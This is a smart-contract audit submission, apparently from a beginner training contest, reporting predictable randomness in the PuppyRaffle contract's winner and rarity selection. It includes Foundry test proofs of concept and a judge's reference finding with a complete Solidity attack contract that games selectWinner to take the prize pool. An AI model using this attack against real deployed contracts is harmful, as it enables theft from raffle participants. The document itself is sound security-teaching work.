Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Weak randomness in `PuppyRaffle::selectWinner` allows anyone to predict the winner and the minted puppy's rarity

Weak randomness in PuppyRaffle::selectWinner allows anyone to predict the winner and the minted puppy's rarity

Description: PuppyRaffle::selectWinner uses as a source of randomness: msg.sender, block.timestamp and block.difficulty to select the PuppyRaffle::winnerIndex and PuppyRaffle::rarity — none of which is a safe source of randomness. block.timestamp and block.difficulty can be known within the block and msg.sender can be manipulated by an attacker — by grinding addresses off-chain — until the hash produces the outcome they want, then submit the transaction.

// @audit notRandom
@> uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
...
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

Because msg.sender is fully controlled by the caller, an attacker does not need to wait for favorable conditions: within a single block, where block.timestamp and block.difficulty are already known, the search space is tiny (PuppyRaffle::players.length outcomes for the winner, 100 for the rarity), so grinding an address that yields the desired result is trivial.

Impact: Any user can predict the outcome for the winner and rarity and win the prize pool and the rarity they want. As a result, honest users have no real chance of winning, which makes the raffle fundamentally broken rather than merely unfair. PuppyRaffle::winnerIndex weak randomness is a high severity while PuppyRaffle::rarity is a medium.

Proof of Concept:

PoC 1 — Predictable winner

In the following test, a PuppyRaffle contract starts with four legitimate users who entered the raffle. Using the same non-random calculation in PuppyRaffle.sol we store the expected winner before firing PuppyRaffle::selectWinner. After firing PuppyRaffle::selectWinner we store that real winner and compare it to the expected one confirming that both match. This means that someone can fire PuppyRaffle::selectWinner controlling the msg.sender and combining with the other two known inputs to get its address index.

In this case we get as outputs:

The expected winner is : 0x0000000000000000000000000000000000000004
The real winner is : 0x0000000000000000000000000000000000000004
Expected winner == real winner

The contract sends the reward to a predetermined user.

Place the following test into PuppyRaffle.t.sol.

function test_notRandomWinnerIndex() public playersEntered {
vm.warp(puppyRaffle.raffleStartTime() + puppyRaffle.raffleDuration());
// `playersEntered` enters 4 users, so players.length is hardcoded here
// `address(this)` instead of `msg.sender` to match that input with the call to `puppyRaffle.selectWinner()`
uint256 expectedIndexWinner = uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % 4;
address expectedWinner = puppyRaffle.players(expectedIndexWinner);
puppyRaffle.selectWinner();
address realWinner = puppyRaffle.previousWinner();
console2.log("The expected winner is : ", expectedWinner);
console2.log("The real winner is : ", realWinner);
if (expectedWinner == realWinner) console2.log("Expected winner == real winner");
assertEq(expectedWinner, realWinner, "winner was not predictable");
}
PoC 2 — Predictable puppy rarity

Same setup as PoC 1. We calculate the expected rarity with the same parameter as we know the PuppyRaffle::rarity will do. Then PuppyRaffle::selectWinner its fired and we store the real rarity outcome. When comparing it against each other we get both are equal. Meaning PuppyRaffle::rarity uses weak and predictable randomness which someone can take advantage selecting the rarity they want.

In this case we get as outputs:

Expected rarity : 70
Actual rarity : 70
Expected rarity == actual rarity

The contract gives a predefined rarity.

Place the following test into PuppyRaffle.t.sol.

function test_notRandomRarity() public playersEntered {
vm.warp(puppyRaffle.raffleStartTime() + puppyRaffle.raffleDuration());
// Reproduce the on-chain calc: `address(this)` is the msg.sender of selectWinner()
uint256 rarity = uint256(keccak256(abi.encodePacked(address(this), block.difficulty))) % 100;
uint256 expectedRarity;
if (rarity <= puppyRaffle.COMMON_RARITY()) {
expectedRarity = puppyRaffle.COMMON_RARITY();
} else if (rarity <= puppyRaffle.COMMON_RARITY() + puppyRaffle.RARE_RARITY()) {
expectedRarity = puppyRaffle.RARE_RARITY();
} else {
expectedRarity = puppyRaffle.LEGENDARY_RARITY();
}
uint256 tokenId = puppyRaffle.totalSupply(); // 0 for the first mint
puppyRaffle.selectWinner();
uint256 actualRarity = puppyRaffle.tokenIdToRarity(tokenId);
console2.log("Expected rarity : ", expectedRarity);
console2.log("Actual rarity : ", actualRarity);
if (expectedRarity == actualRarity) console2.log("Expected rarity == actual rarity");
assertEq(actualRarity, expectedRarity, "rarity was not predictable");
}

Recommended Mitigation: Use Chainlink VRF for both the winner index and the rarity roll. This external oracle provides verifiable on-chain randomness. It requires two steps: request the random number and then a callback in fulfillRandomWords. It will also be necessary to restructure PuppyRaffle::selectWinner for proper functionality.

No block variable (timestamp, prevrandao, blockhash, difficulty, number) should ever be used as a source of randomness on-chain.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!